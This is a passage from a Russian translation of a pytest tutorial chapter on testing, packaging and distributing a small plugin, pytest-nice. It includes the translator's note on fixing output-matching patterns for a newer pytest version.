def test_not_nice_verbose(sample_test):
    result = sample_test.runpytest('-v')
    result.stdout.fnmatch_lines(['*::test_fail FAILED'])
    assert result.ret == 1

Осталось написать еще пару тестов. Давайте убедимся, что наше благодарственное сообщение находится в заголовке:


ch5/pytest-nice/tests/test_nice.py
def test_header(sample_test):
    result = sample_test.runpytest('--nice')
    result.stdout.fnmatch_lines(['Thanks for running the tests.'])

def test_header_not_nice(sample_test):
    result = sample_test.runpytest()
    thanks_message = 'Thanks for running the tests.'
    assert thanks_message not in result.stdout.str()

Это могло бы быть частью других тестов, но мне нравится проводить его в отдельном тесте, чтобы один тест проверял одну задачу.

Давайте проверим текст справки:


ch5/pytest-nice/tests/test_nice.py
def test_help_message(testdir):
    result = testdir.runpytest('--help')

    # fnmatch_lines делает внутренний ассерт
    result.stdout.fnmatch_lines([
        'nice:',
        '*--nice*nice: turn FAILED into OPPORTUNITY for improvement',
    ])

Я думаю, что это достаточно хорошая проверка, того, что наш плагин работает.

Для запуска тестов давайте начнем с нашего каталога pytest-nice и убедимся, что наш плагин установлен. Мы делаем это либо установкой файла .zip.gz, либо установкой текущего каталога в редактируемом режиме:

$ cd /path/to/code/ch5/pytest-nice/
$ pip install .

Processing /path/to/code/ch5/pytest-nice
Requirement already satisfied: pytest in
/path/to/venv/lib/python3.6/site-packages (from pytest-nice==0.1.0)
Requirement already satisfied: py>=1.4.33 in
/path/to/venv/lib/python3.6/site-packages (from pytest->pytest-nice==0.1.0)
Requirement already satisfied: setuptools in
/path/to/venv/lib/python3.6/site-packages (from pytest->pytest-nice==0.1.0)
Building wheels for collected packages: pytest-nice
Running setup.py bdist_wheel for pytest-nice ... done
...
Successfully built pytest-nice
Installing collected packages: pytest-nice
Successfully installed pytest-nice-0.1.0

Теперь, когда он установлен, давайте запустим тесты:

$ pytest -v
===================== test session starts ======================
plugins: nice-0.1.0
collected 7 items
tests/test_nice.py::test_pass_fail PASSED
tests/test_nice.py::test_with_nice PASSED
tests/test_nice.py::test_with_nice_verbose PASSED
tests/test_nice.py::test_not_nice_verbose PASSED
tests/test_nice.py::test_header PASSED
tests/test_nice.py::test_header_not_nice PASSED
tests/test_nice.py::test_help_message PASSED
=================== 7 passed in 0.34 seconds ===================

Прим. переводчика: Если вы потерпели неудачу, то вы не одиноки. У меня тесты не прошли сразу.
platform win32 -- Python 3.6.5, pytest-3.9.3, py-1.7.0, pluggy-0.8.0 -- c:\venv36\scripts\python.exe

collected 7 items

tests/test_nice.py::test_pass_fail FAILED                                [ 14%]
tests/test_nice.py::test_with_nice OPPORTUNITY for improvement           [ 28%]
tests/test_nice.py::test_with_nice_verbose OPPORTUNITY for improvement   [ 42%]
tests/test_nice.py::test_not_nice_verbose FAILED                         [ 57%]
tests/test_nice.py::test_header PASSED                                   [ 71%]
tests/test_nice.py::test_header_not_nice PASSED                          [ 85%]
tests/test_nice.py::test_help_message PASSED                             [100%]

================================== FAILURES ===================================
_______________________________ test_pass_fail ________________________________

Я исправил шаблон поиска

    result.stdout.fnmatch_lines([
        '*.F',  # . for Pass, F for Fail
    ])

на

    result.stdout.fnmatch_lines([
        '*.F*',  # . for Pass, F for Fail
    ])

Добавил символ * после F

По аналогии я внес исправления в test_with_nice, test_with_nice_verbose, test_not_nice_verbose

Видимо причина в версии pytest.
Я получаю вывод c процентом вида
'test_with_nice.py .O [100%]'
Здесь после идут пробелы и проценты в квадратных скобках
Кроме того, я получил сообщения

RemovedInPytest4Warning: usage of Session.Class is deprecated, please use pytest.Class instead

В остальном всё нормуль!

(venv36) c:\_BOOKS_\pytest_si\bopytest-code\code\ch5\pytest-nice>pytest -v
============================= test session starts =============================
platform win32 -- Python 3.6.5, pytest-3.9.3, py-1.7.0, pluggy-0.8.0 -- c:\venv36\scripts\python.exe
cachedir: .pytest_cache
rootdir: c:\_BOOKS_\pytest_si\bopytest-code\code\ch5\pytest-nice, inifile:
plugins: nice-0.1.0
collected 7 items

tests/test_nice.py::test_pass_fail PASSED                                [ 14%]
tests/test_nice.py::test_with_nice PASSED                                [ 28%]
tests/test_nice.py::test_with_nice_verbose PASSED                        [ 42%]
tests/test_nice.py::test_not_nice_verbose PASSED                         [ 57%]
tests/test_nice.py::test_header PASSED                                   [ 71%]
tests/test_nice.py::test_header_not_nice PASSED                          [ 85%]
tests/test_nice.py::test_help_message PASSED                             [100%]

============================== warnings summary ===============================
tests/test_nice.py::test_pass_fail
  c:\venv36\lib\site-packages\_pytest\compat.py:332: RemovedInPytest4Warning: usage of Session.Class is deprecated, please use pytest.Class instead
   return getattr(object, name, default)

Ура! Все тесты пройдены. Мы можем удалить его (pytest-nice), как и любой другой пакет Python
или pytest-плагин:

$ pip uninstall pytest-nice

Uninstalling pytest-nice-0.1.0:
  Would remove:
    \path\to\venv\lib\site-packages\pytest_nice-0.1.0.dist-info\*
    ...
Proceed (y/n)? y
  Successfully uninstalled pytest-nice-0.1.0

Отличный способ узнать больше о тестировании плагинов — посмотреть на тесты, содержащиеся в других плагинах pytest, доступных через PyPI.


Создание дистрибутива

Верьте или нет но, мы почти закончили с нашим плагином. Теперь, из командной строки мы можем использовать этот файл setup.py для создания дистрибутива:

$ cd /path/to/code/ch5/pytest-nice
$ python setup.py sdist
running sdist
running egg_info
creating pytest_nice.egg-info
...
running check
creating pytest-nice-0.1.0
...
creating dist
Creating tar archive
...

$ ls dist

pytest-nice-0.1.0.tar.gz

(Обратите внимание, что sdist означает source distribution — “распространение исходного кода.”)

В pytest-nice каталог dist содержит новый файл с именем pytest-nice-0.1.0.tar.gz.

Этот файл теперь может быть использован в любом месте, чтобы установить наш плагин, даже на месте:

$ pip install dist/pytest-nice-0.1.0.tar.gz
Processing ./dist/pytest-nice-0.1.0.tar.gz
...
Installing collected packages: pytest-nice
Successfully installed pytest-nice-0.1.0

Теперь вы можете поместить свои файлы .tar.gz в любое место, где сможете их использовать и делиться ими.


Распространение плагинов через общий каталог

pip уже поддерживает установку пакетов из общих каталогов, поэтому все, что нам нужно сделать, чтобы распространить наш плагин через общий каталог, это выбрать место, которое мы можем запомнить, и поместить туда файлы .tar.gz для наших плагинов. Допустим, мы поместили pytest-nice-0.1.0.tar.gz в каталог с именем myplugins.

Чтобы установить pytest-nice из myplugins:

$ pip install --no-index --find-links myplugins pytest-nice

--no-index указывает pip не выходить на PyPI, чтобы искать то, что вы хотите установить.
The --find-links myplugins tells PyPI to look in myplugins for packages to install. And of course, pytest-nice is what we want to install.
--find-links myplugins указывает PyPI найти в myplugins пакеты для установки. И конечно, pytest-nice — это то, что мы хотим установить.

Если вы исправили какие то ошибки и в myplugins есть более новые версии, вы можете обновить их, добавив --upgrade:

$ pip install --upgrade --no-index --find-links myplugins pytest-nice

Это аналогично любому другому использованию pip, но с добавлением --no-index --find-links myplugins.


Распространение плагинов через PyPI

Если вы хотите поделиться своим плагином с миром, есть еще пару шагов, которые мы должны сделать. На самом деле, есть еще несколько шагов. Однако, поскольку эта книга не посвящена работе с открытым исходным кодом, я рекомендую ознакомиться с подробными инструкциями, содержащимися в руководстве пользователя Python Packaging.

Когда вы добавляете плагин pytest, есть отличное место для начала — использование cookiecutter-pytest-plugin:

$ pip install cookiecutter
$ cookiecutter https://github.com/pytest-dev/cookiecutter-pytest-plugin

Этот проект сначала задаст вам несколько вопросов о вашем плагине. Затем он создает каталог для вас, чтобы исследовать и заполнить ваш код. Углубление в принципы его работы выходит за рамки этой книги; однако, пожалуйста, имейте это в виду проект. Он поддерживается основными разработчиками pytest, и они будут следить за тем, чтобы этот проект оставался в актуальном состоянии.


Упражнения

В ch4/cache/test_slower.py есть autouse fixture, называемая check_duration(). Вы также использовали её в упражнениях Главы 4. Теперь давайте сделаем плагин из неё.


  1. Создайте каталог с именем pytest-slower, в котором будет храниться код для нового плагина, аналогично каталогу, описанному в разделе «Создание устанавливаемого плагина» на стр. 102.
  2. Заполните все файлы каталога, чтобы сделать pytest-slower плагином, который можно установить.
  3. Напишите некоторый тестовый код для плагина.
  4. Взгляните на Python Package Index и поищите «pytest-». Найдите плагин pytest, который выглядит интересным для вас.
  5. Установите выбранный вами плагин и попробуйте его на тестах Tasks.

Что дальше

Вы до сих пор много раз использовали conftest.py в этой книге. Существуют также файлы конфигурации, которые влияют на выполнение pytest, например pytest.ini. В следующей главе вы ознакомитесь с различными конфигурационными файлами и узнаете, что можно сделать, чтобы облегчить себе жизнь при тестировании.

Вернуться Дальше

Let's block ads! (Why?)